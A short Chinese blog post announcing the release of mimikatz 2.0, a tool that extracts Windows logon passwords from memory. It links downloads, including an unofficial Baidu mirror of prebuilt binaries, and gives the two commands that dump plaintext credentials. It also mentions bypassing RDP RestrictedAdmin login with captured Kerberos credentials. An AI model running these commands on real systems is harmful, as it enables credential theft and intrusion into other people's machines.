首页 软件工具

强制抓取本机登录密码 神器mimikatz2.0发布

发布时间:2016年02月25日 评论数：抢沙发 阅读数：5404

大神们都知道的东西吧，黑客常用工具。法国一个牛B的人写的轻量级调试器

mimikatz最近发布了它的2.0版本，抓密码命令更加简单了，估计作者也看到了对它这个神器最多的研究就是直接抓密码，为神马不发布一个直接一键版，哈哈哈哈哈。新功能还包括能够通过获取的kerberos登录凭据，绕过支持RestrictedAdmin模式的win8或win2012svr的远程终端(RDP)的登陆认证。建议默认禁止RestrictedAdmin模式登录。更多功能等着大家来发现；

先来张原博客的图



mimikatz2.0



mimikatz2.0

神器的作者博客http://blog.gentilkiwi.com/mimikatz     

直达下载地址 https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20140614

编译后成品下载：http://pan.baidu.com/s/1bngsb2f
原版：https://github.com/gentilkiwi/mimikatz/releases/latest


这个是我电脑密码的截图，覆盖部分就是我电脑密码，我电脑win7 64位的。所以用x64神器；

 2.0版本的只需要两条命令就可以了，比以前版本的更简单了。

第一条：privilege::debug
//提升权限
第二条：sekurlsa::logonpasswords
//抓取密码